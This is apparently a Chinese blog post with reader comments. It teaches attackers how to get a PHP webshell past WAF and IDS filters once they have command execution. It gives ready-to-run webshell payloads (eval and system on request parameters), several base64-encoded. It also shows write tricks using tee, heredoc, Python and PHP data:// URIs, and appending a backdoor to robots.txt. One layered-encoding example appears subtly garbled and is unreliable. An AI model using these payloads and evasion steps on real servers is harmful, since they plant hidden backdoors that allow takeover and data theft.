如何绕过过滤写入webshell?

7 人参与

在攻防实战的某个深夜,当你终于撬开一个命令执行漏洞的缝隙,却发现反弹shell的路被堵得死死的,那种感觉就像拿到了金库钥匙却找不到门。这时候,往Web目录里塞一个webshell,往往就成了最直接的那扇“后门”。但问题来了,现在的防护系统可精着呢,你那句经典的echo '<?php eval($_POST[1]);?>' > shell.php,大概率在发出瞬间就被规则引擎撕得粉碎。这不仅仅是写个文件那么简单,这是一场与WAF、IDS和代码过滤逻辑的无声博弈。

编码的艺术:不止Base64一种选择

很多人第一时间想到用Base64编码绕过关键字检测,这没错,但它太“经典”了。稍微进阶一点的防御策略会解码后二次检查。这时候,编码的“套娃”策略就派上用场了。比如,先用Hex编码,再把编码后的字符串进行二次Base64,甚至混入一些无害的填充字符。

# 一个简单的两层编码示例
# 原始payload: <?php system($_GET['c']);?>
# 1. 先Hex编码:3c3f7068702073797374656d28245f4745545b2763275d293b3f3e
# 2. 再将Hex字符串Base64:M2MzZjcwNjg3MDIwNzM3OTczNzQ2NTZkMjgyNDVmNDc0NTU0NWIyNjMyNzVkMjkzYjNmM2U=
# 最终执行命令可能长这样:
echo "M2MzZjcwNjg3MDIwNzM3OTczNzQ2NTZkMjgyNDVmNDc0NTU0NWIyNjMyNzVkMjkzYjNmM2U=" | base64 -d | xxd -r -ps > s.php

这种多层、异类编码的混合使用,能有效干扰依赖固定模式匹配的过滤引擎。核心思路是让payload在传输和拼接阶段,看起来完全不像任何恶意代码。

字符的“变形记”:当重定向符和空格被禁

过滤规则常常会屏蔽 ><、空格这些元字符。这时候就需要一些“等价替换”的魔法。用${IFS}代替空格已经是老生常谈,但在某些严格环境下,连这个都会被封杀。

更隐蔽的方法是利用命令替换和heredoc。比如,不使用重定向符写入文件,可以尝试:

# 利用tee命令
echo 'PD9waHAgQGV2YWwoJF9QT1NUWzFdKTs/Pg==' | base64 -d | tee /var/www/html/shell.php

# 利用cat和管道,配合sh的here-string(如果bash可用)
sh -c 'cat << EOF > /tmp/payload.php'
$(echo PD9waHAgQGV2YWwoJF9QT1NUWzFdKTs/Pg== | base64 -d)
EOF
# 注意:这里需要根据实际环境调整引号和换行

甚至,可以借助一些语言自带的文件操作函数,通过命令执行来调用。例如,在能执行Python的环境里:python3 -c "import base64; open('/tmp/s.php','wb').write(base64.b64decode('PD9waHA...'))"。思路从“系统命令写入”转变为“利用编程环境的内置能力创建文件”。

上下文劫持:利用已有文件“偷梁换柱”

最理想的webshell,是那些看起来完全正常的文件。如果目标站点存在允许上传或可编辑的静态文件(比如robots.txt, .htaccess,甚至一个CSS/JS文件),那么“追加写入”比“新建文件”的触发率低得多。

# 在robots.txt末尾追加PHP代码(前提是服务器解析.txt为PHP,或利用.htaccess的SetHandler)
echo '<?php if(isset($_GET["k"])) eval($_GET["k"]); ?>' >> /var/www/html/robots.txt

# 更隐蔽的,在正常的JS文件中插入一段编码后的payload,并通过其他漏洞解码执行
# 例如,将payload隐藏在注释中,然后利用文件包含漏洞或特定的解析逻辑来提取和执行。

这种方法的高明之处在于,它避开了“新增可疑文件”这个行为特征。安全扫描可能不会对一个被修改的、已存在的合法文件投以同样的警惕。

逻辑缝隙:过滤器的“盲点”往往在自身

有时候,最有效的绕过方式,是研究过滤器本身的逻辑缺陷。很多过滤是“黑名单”模式,它们拼命拦截evalassertsystem。但如果用一些不常见的、功能等价的函数呢?比如PHP的create_functionpreg_replace配合/e修饰符(在老旧版本中),或者利用file_put_contents配合data://协议直接生成文件。

# 一个利用file_put_contents和data URI的极简webshell写入方式
# 通过命令执行调用PHP,直接写入文件内容
php -r "file_put_contents('s.php', file_get_contents('data://text/plain;base64,PD9waHAgQGV2YWwoJF9QT1NUWzFdKTs/Pg=='));"

防御者在构建规则时,总会有所侧重和遗漏。你的任务就是找到那个被忽略的“语法糖”或“边缘函数”。这要求你对Web语言的特性有足够深的了解,而不仅仅是记住几个payload。

说到底,绕过过滤写入webshell,与其说是一门技术,不如说是一种思维。它考验的是你对数据流、编码、语言解析和防御逻辑的综合理解。每一次成功的写入,背后都是一次对系统“认知盲区”的精准打击。当你下次再面对严密的过滤时,不妨问问自己:它到底在怕什么?又漏掉了什么?答案,往往就藏在那些最不起眼的细节里。

参与讨论

7 条评论
  • 行者夜行

    感觉编码那段挺实用的

    回复
  • 引力情书

    Hex编码再Base64这个思路不错啊

    回复
  • 废土毒师

    有人试过用tee命令绕过吗?

    回复
  • 漠风

    之前遇到过过滤空格的情况,用${IFS}确实有效

    回复
  • 万人迷

    python那个方法在docker环境能用不?

    回复
  • 果冻猪猪

    这种多层编码会不会影响执行效率?

    回复
  • 呆萌的洋葱头

    WAF现在越来越难绕了,头疼

    回复